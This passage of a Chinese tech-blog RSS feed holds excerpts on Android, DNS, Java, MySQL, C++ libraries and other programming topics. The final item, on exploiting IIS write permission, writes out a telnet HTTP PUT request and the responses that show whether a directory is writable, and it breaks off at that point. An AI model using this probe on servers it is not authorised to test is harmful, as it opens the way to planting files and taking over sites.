在进行屏幕方向改变的时候，系统默认做法是保持状态不变的情况下，销毁当前Activity并重新创建一个新的Activity。这样做，Android会从资源文件中重新装载当前应用的UI。现在假设你写了一个带有很大一幅位图的应用，但你不想在每次屏幕旋转时都装载一次位图，最简单的做法就是将其保存在一个静态区域中：&#xA;[java] view plain copy private static Drawable sBackground; @Override protected void onCreate(Bundle state) { super.onCreate(state); TextView label = new TextView(this); label.setText(&#34;Leaks are bad&#34;); if (sBackground == null) { sBackground = getDrawable(R.drawable.large_bitmap); } label.setBackgroundDrawable(sBackground); setContentView(label); } 这段代码执行的快，同时也很有问题：在进行第一次屏幕方向改变的时候泄露了第一个Activity所占的内存空间。当一个Drawable连接到一个视图上时，视图被设置为Drawable上的一个回调，在上面的代码片段中，这就意味着Drawable引用了TextView，而TextView又引用了Activity Context，Activity Context又进一步引用了更多的东西（依赖与你的代码）。 上面这段示例是最简单的泄露Activity Context的情况，你可以到Home Screen&#39;s Source Code（查看unbindDrawables()方法）中看看我们是如何通过在Acitivity销毁时将存储Drawable的回调置为null来解决该问题的。如果再有兴趣的话，某些情况下会产生一个由泄露的Context形成的链，这很糟糕，会很快使得内存耗尽。</description>
    </item>
    <item>
      <title>DNS--2--cache only DNS</title>
      <link>https://bchobby.github.io/posts/1247babc65d190389567c3f39d35525b/</link>
      <pubDate>Tue, 18 Dec 2012 22:50:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1247babc65d190389567c3f39d35525b/</guid>
      <description>1.在安装好BIND软件的前提下，来创建一个只有缓存的DNS服务器。 ----BIND安装说明：yum install bind bind-chroot 2.为了系统的安全，应该进行chroot。确保/etc/sysconfig/named中配置了： ROOTDIR=/var/named/chroot 3.什么时候需要搭建cache only DNS： 在公司为了限制员工利用公司的网络资源做自己的事情，都会针对Internet的连接进行各种限制。当然连port 53这个DNS会用到的port也可能被挡在防火墙之外。这个时候可以在防火墙的那台机器上面，加装一个cache-only 的DNS服务。利用防火墙主机上的DNS服务去帮助client进行hostname&amp;lt;--&amp;gt;IP。因为防火墙主机可以放行自己的DNS功能，而Client端就设置该防火墙IP为DNS服务器的IP即可。这通常都是为了系统安全。 4.实际设置cache only DNS： ----编辑主要配置文件/etc/named.conf: options { listen-on port 53 { any; }; //监听端口，any表示全部接受，也可加入特定的ip directory &#34;/var/named&#34;; //数据库主目录 dump-file &#34;/var/named/data/cache_dump.db&#34;; //一些统计信息 statistics-file &#34;/var/named/data/named_stats.txt&#34;; memstatistics-file &#34;/var/named/data/named_mem_stats.txt&#34;; allow-query { any; }; //是否允许查询，any表示全部接受 recursion yes; //将自己视为客户端的一种查询模式 forward only; //让DNS服务器仅进行转发请求 forwarders{ //转发到的服务器 119.233.255.229; 58.22.96.66; };&#xA;}; ----启动DNS: /etc/init.d/named start ----检查/var/log/messages的日志信息,是否正常。 tail -n 30 /var/log/messages | grep named 5.测试： dig www.baidu.com @127.0.0.1&#xA;整理自：鸟哥的linux私房菜服务器篇</description>
    </item>
    <item>
      <title>Java ByteBuffer用法总结</title>
      <link>https://bchobby.github.io/posts/bac997d27f5b0451b0256d3257244979/</link>
      <pubDate>Thu, 06 Dec 2012 09:13:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bac997d27f5b0451b0256d3257244979/</guid>
      <description>Java ByteBuffer用法总结 http://www.whoslab.me/blog/?p=469 最近用SocketChannel进行网络编程比较多，中间也遇到了几个问题，出现的bug也主要来自于对于ByteBuffer的使用不当。现在终于调通了，对ByteBuffer及Socket网络编程也有了更深的认识，特此总结一下。&#xA;对于ByteBuffer主要需要注意的是几个标志的含义：position,limit,capability,mark.几个操作的影响：flip(),clear(),rewind().还有就是在读取或者写入时，标志的变化,比如get()方法导致position加1.&#xA;SocketChannel采用的是非阻塞异步读取流数据，在读取的时候，通常是&#xA;ByteBuffer.clear();SocketChannel.read(ByteBuffer); 如果流中有数据，就会把数据从position开始读到ByteBuffer中，在读取之前ByteBuffer的clear操作会把position置为0,limit置为capability,也就是相当于清空了之前的内容，但是ByteBuffer中数组的内容在read之前是没有改变的.&#xA;read之后，通常就是开始从ByteBuffer中提取读到的数据，如果你的数据是以自己定义的数据包的格式进行发送的，那你还需要判断是否读到了数据包的结尾，因为对流数据本身来说是没有结尾这一说的。在提取数据之前，要先把position放到开始读取时的位置,把limit放到当前位置，所以要flip一下,表示从position到limit的位置都是需要的数据。&#xA;ByteBuffer.flip();while(ByteBuffer.hasRemaining()){&#x9;byte c=ByteBuffer.get();&#x9;if (b == PACKAGE_END) {&#x9;//you can return the package here&#x9;}else{&#x9;//you can append the byte here.like StringBuilder.append().&#x9;}} 这样以来也存在一个问题，当一次读到的ByteBuffer不包含完整的数据包或者包含多个数据包.那么就需要在下一次继续把这些包分拆出来.那么在读取数据的代码处就可以改为,这样就把之前读取到的未完整的包保留了下来:&#xA;if(!ByteBuffer.hasRemaining){&#x9;ByteBuffer.clear();&#x9;SocketChannel.read(ByteBuffer);} 另外一个可能会用到的操作就是ByteBuffer.rewind(),他会把position置为0，limit保持不变，可以用于重复读取一段数据.&#xA;ByteBuffer是nio中一个非常方便的工具.设计思想也非常值得借鉴.</description>
    </item>
    <item>
      <title>读书笔记 Pro Android 3  第2章 节选 StrictMode 严苛模式</title>
      <link>https://bchobby.github.io/posts/6e062d76ca2be3ff9140f2e49f776227/</link>
      <pubDate>Thu, 29 Nov 2012 16:07:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e062d76ca2be3ff9140f2e49f776227/</guid>
      <description>Android 2.3提供一个称为严苛模式（StrictMode）的调试特性，Google称该特性已经使数百个Android上的Google应用程序受益。那它都做什么呢？它将报告与线程及虚拟机相关的策略违例。一旦检测到策略违例（policy violation），你将获得警告，其包含了一个栈trace显示你的应用在何处发生违例。你可以强制用警告代替崩溃（crash），也可以仅将警告计入日志，让你的应用继续执行。策略的细节尚难确定，可以期待随Android的成熟Google将增加更多策略。 目前有2种策略可用，第一个和线程相关，它主要针对主线程（或UI线程）。由于在主线程中读写磁盘和进行网络访问都不是好的做法，Google已经在磁盘和网络代码中添加了严苛模式（StrictMode）钩子（hook）。如果你对某个线程打开严苛模式（StrictMode），当那个线程进行磁盘和网络访问，你将获得警告。你可以选择警告方式。一些违例包含用户慢速调用（custom slow calls 这么翻译行吗？），磁盘读写，网络访问。你能选择将警告写入LogCat，显示一个对话框，闪下屏幕，写入DropBox日志文件，或让应用崩溃。最通常的做法是写入LogCat或让应用崩溃。列表2-9显示了一个为线程策略设置严苛模式（StrictMode）的例子。&#xA;列表2-9 设置严苛模式（StrictMode）的线程策略&#xA;StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder() .detectDiskReads() .detectDiskWrites() .detectNetwork() .penaltyLog() .build()); Builder类使得设置变得很简单，Builder函数定义所有策略都返回Builder对象，从而这些函数能像列表2-9那样串连在一起。最后调用build()函数返回一个ThreadPolicy对象作为StrictMode对象的setThreadPolicy()函数的参数。注意到setThreadPolicy()是一个静态函数，因此不需要实例化StrictMode对象。在内部，setThreadPolicy()将对当前线程应用该策略。如果不指定检测函数，也可以用detectAll()来替代。penaltyLog()表示将警告输出到LogCat，你也可以使用其他或增加新的惩罚（penalty）函数，例如使用penaltyDeath()的话，一旦StrictMode消息被写到LogCat后应用就会崩溃。&#xA;你不需要频繁打开严苛模式（StrictMode），你可以在主活动的onCreate()函数中打开它，你也可以在Application派生类的OnCreate()函数中设置严苛模式（StrictMode）。线程中运行的任何代码都可以设置严苛模式（StrictMode），但你的确只需要设置一次，一次就够了。&#xA;类似于线程策略（ThreadPolicy），严苛模式（StrictMode）有虚拟机策略（VmPolicy）。虚拟机策略（VmPolicy）能检查内存泄漏，譬如，当关闭一个SQLite对象前的完结操作，或其他任何类似可关闭对象在关闭前的完结操作。虚拟机策略（VmPolicy）由一个类似的Builder类创建，如列表2-10所示。和线程策略（ThreadPolicy）不同的是，虚拟机策略（VmPolicy）不能通过一个对话框提供警告。&#xA;列表2-10 设置严苛模式（StrictMode）的虚拟机策略&#xA;StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder() .detectLeakedSqlLiteObjects() .penaltyLog() .penaltyDeath() .build()); 因为设置发生在线程中，严苛模式（StrictMode）甚至能在从一个对象到另一个对象的控制流中找到违例事件。当违例发生，你会惊奇地注意到代码正运行于主线程，而栈trace将帮助你发现它如何发生。于是你能单步调试解决问题，或是将代码移到它自己的后台线程，或是就保持原来的处理方式。这都取决与你。当然，你可能希望适时关闭严苛模式（StrictMode），当你的程序作为产品发布时，你可不希望它仅为了一个警告在你的用户手里崩溃。&#xA;有两个方法可以关闭严苛模式（StrictMode），最直接的就是移除相应代码，但这样做不利于持续开发的产品。你通常可以定义一个应用级别布尔变量来测试是否需要调用严苛模式（StrictMode）代码。在发布产品前将这个值定义为FALSE。更优雅的方式是利用调试模式（debug mode）的特点，在AndroidManifest.xml中定义这个布尔变量。&amp;lt;application&amp;gt;字段的属性之一是android:debuggable，其义自明。列表2-11给出了利用该特性的控释方法。&#xA;列表2-11 仅在调试模式设置严苛模式（StrictMode）&#xA;// Return if this application is not in debug mode ApplicationInfo appInfo = context.getApplicationInfo(); int appFlags = appInfo.flags; if ((appFlags &amp;amp; ApplicationInfo.FLAG_DEBUGGABLE) != 0) { // Do StrictMode setup here StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder() .detectLeakedSqlLiteObjects() .penaltyLog() .penaltyDeath() .build()); } 使用Eclipse调试环境，ADT自动为你设置debuggable属性，使项目更易于管理。当你在模拟器上或直接在设备上部署应用，debuggable属性为TRUE，当你导出应用建立一个产品版本，ADT将该属性置为FALSE。注意，如果你另行设置了这个属性值，ADT不会改变它。 严苛模式（StrictMode）很不错，不过在Android 2.</description>
    </item>
    <item>
      <title>./autogen.sh: line 44: libtoolize: command not found</title>
      <link>https://bchobby.github.io/posts/fe94ad0ce48df6e66b5fbb096e6859da/</link>
      <pubDate>Thu, 29 Nov 2012 11:21:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe94ad0ce48df6e66b5fbb096e6859da/</guid>
      <description> ./autogen.sh + aclocal + libtoolize --copy --force ./autogen.sh: line 44: libtoolize: command not found 是因为缺少libtool软件包 make 时 出现的错误 configure: creating ./config.status cd &amp;amp;&amp;amp; /bin/sh ./config.status Makefile /bin/sh: ./config.status: No such file or directory make: *** [Makefile] Error 127 安装libtool* 在重新执行 就ok了 ./autogen.sh autoconfig 这个也要执行 生成make 需要的文件 然后 configure 开始吧 </description>
    </item>
    <item>
      <title>[eclipse] Open type (Ctrl-Shift-T)找不到类</title>
      <link>https://bchobby.github.io/posts/ff57155999450769a5c906bb270bf547/</link>
      <pubDate>Fri, 23 Nov 2012 12:52:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff57155999450769a5c906bb270bf547/</guid>
      <description>转自：《http://www.eoeandroid.com/blog-91715-5053.html》&#xA;有时（我极少遇到），通过ctrl + shift + t找对应的类时，类明明存在，并且也在编译路径下，但就是查找不到，一个可能的原因就是eclipse为类建立的索引出了问题。&#xA;解决的方法是：找到项目所在工作空间下的.metadata/.plugins/org.eclipse.jdt.core文件夹，将里面的*.index文件和savedIndexNames.txt文件删除，重启eclipse，然后eclipse会重建索引，这时问题就可以解决了。 解决方法来自这里： http://www.java-forums.org/eclipse/6513-open-type-ctrl-shift-t-does-not-find-types.html Sometimes, the indexes that Eclipse use for searching the types, get corrupted. You can clear the Open Type indexes by going to &amp;lt;Workspace&amp;gt;/.metadata/.plugins/org.eclipse.jdt.core and deleting all files there. The indexes will be re-built the next time you use open type. Note that this is a empirical observation, and you may delete some JDT saved data that you don&#39;t want to delete.</description>
    </item>
    <item>
      <title>优秀开源代码解读之JS与iOS Native Code互调的优雅实现方案</title>
      <link>https://bchobby.github.io/posts/b2bcf2a07b7149050865282fe085aac7/</link>
      <pubDate>Wed, 21 Nov 2012 21:23:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2bcf2a07b7149050865282fe085aac7/</guid>
      <description>简介 本篇为大家介绍一个优秀的开源小项目：WebViewJavascriptBridge。&#xA;它优雅地实现了在使用UIWebView时JS与ios 的ObjC nativecode之间的互调，支持消息发送、接收、消息处理器的注册与调用以及设置消息处理的回调。&#xA;就像项目的名称一样，它是连接UIWebView和Javascript的bridge。在加入这个项目之后，他们之间的交互处理方式变得很友好。&#xA;在native code中跟UIWebView中的js交互的时候，像下面这样：&#xA;//发送一条消息给UI端并定义回调处理逻辑 [_bridge send:@&#34;A string sent from ObjC before Webview has loaded.&#34; responseCallback:^(id error, id responseData) { if (error) { NSLog(@&#34;Uh oh - I got an error: %@&#34;, error); } NSLog(@&#34;objc got response! %@ %@&#34;, error, responseData); }]; 而在UIWebView中的js跟native code交互的时候也变得很简洁，比如在调用处理器的时候，就可以定义回调处理逻辑：&#xA;//调用名为testObjcCallback的native端处理器，并传递参数，同时设置回调处理逻辑 bridge.callHandler(&#39;testObjcCallback&#39;, {&#39;foo&#39;: &#39;bar&#39;}, function(response) { log(&#39;Got response from testObjcCallback&#39;, response) }) 一起来看看它的实现吧，它总共就包含了三个文件：&#xA;WebViewJavascriptBridge.h WebViewJavascriptBridge.m WebViewJavascriptBridge.js.txt 它们是以如下的模式进行交互的：&#xA;很明显：WebViewJavascriptBridge.js.txt主要用于衔接UIWebView中的web page，而WebViewJavascriptBridge.h/m则主要用于与ObjC的native code打交道。他们作为一个整体，其实起到了一个“桥梁”的作用，这三个文件封装了他们具体的交互处理方式，只开放出一些对外的涉及到业务处理的API，因此你在需要UIWebView与Native code交互的时候，引入该库，则无需考虑太多的交互上的问题。整个的Bridge对你来说都是透明的，你感觉编程的时候，就像是web编程的前端和后端一样清晰。&#xA;简单地罗列一下它可以实现哪些功能吧：</description>
    </item>
    <item>
      <title>MySQL最大连接数设置</title>
      <link>https://bchobby.github.io/posts/37e7872fd3f18601a313af04e966857e/</link>
      <pubDate>Mon, 19 Nov 2012 11:53:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37e7872fd3f18601a313af04e966857e/</guid>
      <description>转自：http://blog.csdn.net/wooshn/article/details/8069900&#xA;在使用MySQL数据库的时候，经常会遇到这么一个问题，就是“Can not connect to MySQL server. Too many connections”-mysql 1040错误，这是因为访问MySQL且还未释放的连接数目已经达到MySQL的上限。通常，mysql的最大连接数默认是100, 最大可以达到16384。 在Windows下常用的有两种方式修改最大连接数。&#xA;第一种：命令行修改。&#xA;&amp;gt;mysql -uuser -ppassword(命令行登录MySQL)&#xA;mysql&amp;gt;show variables like &#39;max_connections&#39;;(查可以看当前的最大连接数)&#xA;msyql&amp;gt;set global max_connections=1000;(设置最大连接数为1000，可以再次查看是否设置成功)&#xA;mysql&amp;gt;exit(推出)&#xA;这种方式有个问题，就是设置的最大连接数只在mysql当前服务进程有效，一旦mysql重启，又会恢复到初始状态。因为mysql启动后的初始化工作是从其配置文件中读取数据的，而这种方式没有对其配置文件做更改。&#xA;第二种：修改配置文件。&#xA;这 种方式说来很简单，只要修改MySQL配置文件my.ini 或 my.cnf的参数max_connections，将其改为max_connections=1000，然后重启MySQL即可。但是有一点最难的就是my.ini这个文件在哪找。通常有两种可能，一个是在安装目录下（这是比较理想的情况），另一种是在数据文件的目录下，安装的时候如果没有人为改变目录的话，一般就在C:/ProgramData/MySQL往下的目录下。&#xA;与连接数相关的几个参数：&#xA;在修改最大连接数的时候会有这样一个疑问—这个值是不是越大越好，或者设置为多大才合适？这个参数的大小要综合很多因素来考虑，比如使用的平台所支持的线程库数量（windows只能支持到2048）、服务器的配置（特别是内存大小）、每个连接占用资源（内存和负载）的多少、系统需要的响应时间等。可以在global或session范围内修改这个参数。连接数的增加会带来很多连锁反应，需要在实际中避免由此引发的负面影响。&#xA;首先看一下MySQL的状态：&#xA;mysql&amp;gt; status;&#xA;--------------&#xA;mysql Ver 14.14 Distrib 5.5.15, for Win32 (x86)&#xA;Connection id: 1&#xA;Current database:&#xA;Current user: root@localhost&#xA;SSL: Not in use&#xA;Using delimiter: ;&#xA;Server version: 5.5.15 MySQL Community Server (GPL)&#xA;Protocol version: 10</description>
    </item>
    <item>
      <title>【Boost】boost::timer库用法与实例</title>
      <link>https://bchobby.github.io/posts/df5e478bf3848c5162883f9c6bf95b15/</link>
      <pubDate>Fri, 16 Nov 2012 15:10:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df5e478bf3848c5162883f9c6bf95b15/</guid>
      <description>// boost::timer库, 用于性能测试等需要计时的任务。 // boost::timer不适合高精度的时间测量任务。 它的精度依赖于操作系统或编译器，难以做到跨平台。 // boost::timer也不适合大跨度时间段的测量，可提供的最大跨度只有几百个小时，如果需要以天、月甚至年作为时间的单位则不能使用timer。 应该使用 date_time库。 void test_timer() { // 声明一个计时器对象，并开始计时! boost::timer t; long long sum = 0; for (int i = 0; i &amp;lt; 1000000 ; i++) sum = sum + i; // 计算时间差, 测量自对象创建后所流逝的时间。 double dl = t.elapsed(); std::cout &amp;lt;&amp;lt; &#34;now time elapsed:&#34; &amp;lt;&amp;lt; dl &amp;lt;&amp;lt; std::endl; //可度量的最大时间，以秒为单位&#x9;std::cout &amp;lt;&amp;lt; &#34;max timespan:&#34; &amp;lt;&amp;lt; t.elapsed_max() /3600 &amp;lt;&amp;lt; &#34;h&#34; &amp;lt;&amp;lt; std::endl; //可度量的最小时间，以秒为单位 std::cout &amp;lt;&amp;lt; &#34;min timespan:&#34;</description>
    </item>
    <item>
      <title>【Poco】Poco::NumberParser的例子</title>
      <link>https://bchobby.github.io/posts/00298a4bed0fb3efaf2e34b1cc3b2f12/</link>
      <pubDate>Thu, 15 Nov 2012 21:08:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00298a4bed0fb3efaf2e34b1cc3b2f12/</guid>
      <description> #include &#34;../tmain.hpp&#34; // Poco::NumberParser类提供静态方法将字符串转换成数字 // parse: 将字符串转换int // parse64: 将字符串转换int64 // parseFloat: 将字符串转换小数 // parseHex: 将字符串转换16进制数 // ... void test_NumberParser() { assert(Poco::NumberParser::parse(&#34;123&#34;) == 123); assert(Poco::NumberParser::parse(&#34;-123&#34;) == -123); assert(Poco::NumberParser::parseHex(&#34;ABCD&#34;) == 0xabcd); assert(Poco::NumberParser::parseFloat(&#34;12.34&#34;) - 12.34 &amp;lt; 0.01); } void test_NumberParserError() { try { Poco::NumberParser::parse(&#34;&#34;); } catch (...) { } } </description>
    </item>
    <item>
      <title>【Poco】Poco::NumberFormatter的例子</title>
      <link>https://bchobby.github.io/posts/38981b13feb5c4959cd3f32fa88a51db/</link>
      <pubDate>Thu, 15 Nov 2012 20:33:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38981b13feb5c4959cd3f32fa88a51db/</guid>
      <description>#include &#34;../tmain.hpp&#34; void test_NumberFormatter_Format() { // 整数的格式化 assert (Poco::NumberFormatter::format(123) == &#34;123&#34;); assert (Poco::NumberFormatter::format(-123) == &#34;-123&#34;); assert (Poco::NumberFormatter::format(-123, 5) == &#34; -123&#34;); assert (Poco::NumberFormatter::format((unsigned) 123) == &#34;123&#34;); assert (Poco::NumberFormatter::format((unsigned) 123, 5) == &#34; 123&#34;); assert (Poco::NumberFormatter::format0((unsigned) 123, 5) == &#34;00123&#34;); assert (Poco::NumberFormatter::format((long) 123) == &#34;123&#34;); assert (Poco::NumberFormatter::format((long) -123) == &#34;-123&#34;); assert (Poco::NumberFormatter::format((long) -123, 5) == &#34; -123&#34;); assert (Poco::NumberFormatter::format((unsigned long) 123) == &#34;123&#34;); assert (Poco::NumberFormatter::format((unsigned long) 123, 5) == &#34; 123&#34;</description>
    </item>
    <item>
      <title>使用html5 canvas 画一台小单车动画</title>
      <link>https://bchobby.github.io/posts/d325da23a824d90a57fd1a17e731bb02/</link>
      <pubDate>Tue, 06 Nov 2012 19:22:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d325da23a824d90a57fd1a17e731bb02/</guid>
      <description>最近一直在搞前端，不过没用过canvas，呵呵！就想试一下，也刚刚好我图形学的作业就是做一台小单车动画（不限语言），所以我就在一个蛋疼的下午写了一台很蛋疼的单车了，呵呵！样子很丑，不过可以美化，大家可以参考参考！高手勿进虐我这小菜菜，菜鸟共同分享也可以参考当课堂作业，呵呵！ 废话不说，先看代码: HTML: &amp;lt;!DOCTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.0 Transitional//EN&#34; &#34;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&#34;&amp;gt; &amp;lt;html xmlns=&#34;http://www.w3.org/1999/xhtml&#34; xml:lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html;charset=UTF-8&#34; /&amp;gt; &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;../css/text.css&#34; /&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;../js/canvas.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;canvas class=&#34;mycanvas&#34; id=&#34;mycanvas&#34;&amp;gt; &amp;lt;/canvas&amp;gt; &amp;lt;button οnclick=&#34;start()&#34;&amp;gt;神啊！赐予我小单车神奇的力量吧!&amp;lt;/button&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; CSS: #mycanvas{ width: 1300px; height: 700px; background-color: #d1fffe; border: 1px solid #000; } JS: var model; var bike; var incremental=0; var timer; if(!model) model={}; model.create = function(){}; model.create.prototype = { cxt : null, canvas : null, init: function (){ canvas = document.</description>
    </item>
    <item>
      <title>DoModal 函数的用法</title>
      <link>https://bchobby.github.io/posts/6006ba7e3c6e26aa4577a916a6c2808e/</link>
      <pubDate>Mon, 05 Nov 2012 16:25:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6006ba7e3c6e26aa4577a916a6c2808e/</guid>
      <description> DoModal 函数的用法 使用有模式对话框时在对话框弹出后调用函数不会立即返回，而是等到对话框销毁后才会返回（请注意在对话框弹出后其他窗口的消息依然会被传递）。所以在使用对话框时其他窗口都不能接收用户输入。创建有模式对话框的方法是调用CDialog::DoModal()。下面的代码演示了这种用法： CYourView::OnOpenDlg() { CYourDlg dlg; int iRet=dlg.DoModal(); } CDialog::DoModal()的返回值为IDOK，IDCANCEL。表明操作者在对话框上选择“确认”或是“取消”。由于在对话框销毁前DoModal不会返回，所以可以使用局部变量来引用对象。在退出函数体后对象同时也会被销毁。而对于无模式对话框则不能这样使用，下节5.3 创建无模式对话框中会详细讲解。 你需要根据DoModal()的返回值来决定你下一步的动作，而得到返回值也是使用有模式对话框的一个很大原因。 使用有模式对话框需要注意一些问题，比如说不要在一些反复出现的事件处理过程中生成有模式对话框，比如说在定时器中产生有模式对话框，因为在上一个对话框还未退出时，定时器消息又会引起下一个对话框的弹出。 同样的在你的对话框类中为了向调用者返回不同的值可以调用CDialog::OnOK()或是CDialog::OnCancel()以返回IDOK或IDCANCEL，如果你希望返回其他的值，你需要调用 CDialog::EndDialog( int nResult ); 其中nResult会作为DoModal()调用的返回值&#xA;virtual INT_PTR CDialog::DoModal(); 当dlg.DoModal()后，显示一个模态对话框，此时DoModal()函数并不返回，直到用户关闭此对话框时，DoModal才返回。如果用户点击了确定按钮，那么DoModal()函数就返回IDOK。IDOK是一个宏。&#xA;当你CMyDlg dlg;时，对话框并没有显示，只要构造了一个CMyDlg类型的对象而已，直到用户调用DoModal()，对话框才会显示出来。&#xA;posted @ 2012-11-05 16:25 xingoo 阅读( ...) 评论( ...) 编辑 收藏 </description>
    </item>
    <item>
      <title>用Python实现的&#34;石头,剪刀,布&#34;</title>
      <link>https://bchobby.github.io/posts/d7ec6d2d8aa32e59ac93cacdbc4c6d59/</link>
      <pubDate>Thu, 01 Nov 2012 21:40:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7ec6d2d8aa32e59ac93cacdbc4c6d59/</guid>
      <description>需求:设计一个&#34;石头,剪子,布&#34;游戏,有时又叫&#34;Rochambeau&#34;,你小时候可能玩过,下面是规则.你和你的对手,在同一时间做出特定的手势,必须是下面一种手势:石头,剪子,布.胜利者从&#xA;下面的规则中产生,这个规则本身是个悖论. (a) 布包石头. (b)石头砸剪子, (c)剪子剪破布.在你的计算机版本中,用户输入她/他的选项,计算机找一个随机选项,然后由你&#xA;的程序来决定一个胜利者或者平手.注意:最好的算法是尽量少的使用 if 语句.&#xA;曾经实现过一个java版本的,用的思路是通过Enum分发的方式来实现,那种实现方式灵活性相对较强,但是代码量还是较多.现在正在学习python,所以用python实现了一个简单的版本,代码的数量上还是有明显的减少[本人是新手,不足请指教]:&#xA;&#39;&#39;&#39; demonstrate Stone, Stainless, Paper game Created on 2012-11-1 @author: Eric &#39;&#39;&#39; import random; #elementA--&amp;gt;DRAW WIN LOST COMPETE_RESULT = {&#34;Stone&#34;:[&#34;Stone&#34;, &#34;Stainless&#34;, &#34;Paper&#34;], &#34;Stainless&#34;:[&#34;Stainless&#34;, &#34;Paper&#34;, &#34;Stone&#34;], &#34;Paper&#34;:[&#34;Paper&#34;, &#34;Stone&#34;, &#34;Stainless&#34;]}; SIGN = {0:&#34;Stone&#34;, 1:&#34;Stainless&#34;, 2:&#34;Paper&#34;} RESULTS = {0:&#34;DRAW&#34;, 1:&#34;WIN&#34;, 2:&#34;LOST&#34;}; def rochambeauGame(): print(&#39;&#39;&#39;0:STONE 1:STAINLESS 2:Paper 3:quit &#39;&#39;&#39;); while True: userSign = input(&#34;please input your userSign number:&#34;); if int(userSign) in (1, 2, 3, 0): if userSign == 0: exit(); else: userSignResults = COMPETE_RESULT[SIGN[int(userSign)]]; pcSign = SIGN[int(genereteRandomPCSign())]; print(&#34;</description>
    </item>
    <item>
      <title>CentOS安装wireshark</title>
      <link>https://bchobby.github.io/posts/de02d939176a910c945660c20f64dc04/</link>
      <pubDate>Thu, 01 Nov 2012 14:37:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de02d939176a910c945660c20f64dc04/</guid>
      <description>CentOS的发行光盘里本身是有wireshark的rpm的，如果安装系统时组件没选上，那么可以从安装光盘里找。如能连网，那么用yum是最简单的：&#xA;# yum install wireshark&#xA;# yum install wireshark-gnome&#xA;注意wireshark包本身只包含文本工具，这样并无法使用wireshark和图形界面。但提供了抓包基本功能。wireshark-gnome才提供wireshark（UI)工具，它依赖wireshark RPM。</description>
    </item>
    <item>
      <title>ortp 编译测试</title>
      <link>https://bchobby.github.io/posts/711551a891b3ddca8c84c00d2296edd1/</link>
      <pubDate>Mon, 29 Oct 2012 11:10:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/711551a891b3ddca8c84c00d2296edd1/</guid>
      <description>1.获得原码包&#xA;我是从csdn获得 ortp-0.20.0.zip&#xA;2.编译安装&#xA;解压并进入主目录：cd /opt/ortp-0.20.0&#xA;执行如下命令：&#xA;a）./configure&#xA;b）make&#xA;c）sudo make install&#xA;装好以后系统环境如下，静态动态库安装到了/usr/local/lib目录下，包括libortp.la、libortp.so libortp.so.8 libortp.so.8.0.0。&#xA;头文件在/usr/local/include目录ortp目录下。&#xA;库文件复制到/usr/lib文件夹下，头文件复制到/usr/include下。&#xA;3. 程序编译与测试&#xA;测试源码在 src/test 路径下。&#xA;1） 接收&#xA;gcc rtprecv.c -o rtprecv -lortp编译接收端程序&#xA;2） 发送&#xA;gcc rtpsend.c -o rtpsend -lortp 编译发送程序&#xA;3） 测试&#xA;在终端运行./rtprecv test 5000&#xA;在另一终端运行 ./rtpsend test 192.168.1.104 5000&#xA;完成文件传送。</description>
    </item>
    <item>
      <title>IIS写权限的利用</title>
      <link>https://bchobby.github.io/posts/cf1ebaf4f2411b713c4fe4ade57eed3e/</link>
      <pubDate>Sun, 28 Oct 2012 10:36:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf1ebaf4f2411b713c4fe4ade57eed3e/</guid>
      <description>源地址：http://netsecurity.51cto.com/art/200812/101015.htm&#xA;IIS写权限对网站系统的安全是致命的，拥有写权限可以直接往网站目录写文件，在拥有写权限的服务器上，其安全相对设置薄弱，因此比较容易被入侵者控制，本文就IIS写权限方面进行了研究。&#xA;一、IIS写权限原理&#xA;测试一个目录对于web用户是否具有写权限，采用如下方法：&#xA;1．telnet服务器并发送传送文件请求&#xA;首先使用Telnet连接到服务器的web端口即80端口，并发送一个如下请求：&#xA;PUT /dir/my_file.txt HTTP/1.1 Host: IIS-server Content-Length: 10 2.查看服务器返回信息&#xA;正常情况下服务器会返回一个100的信息，如下所示：&#xA;HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 Date: Thu, 28 Num 2008 15:56:00 GMT 3.测试是否可以输入&#xA;接着，我们输入10个字母：AAAAAAAAAA，送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应，如下所示：&#xA;HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 Date: Thu, 28 Num 2008 15:56:08 GMT Location:http://IIS-server/dir/my_file.txt Content-Length: 0 Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT,COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK 那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401（权限禁止） 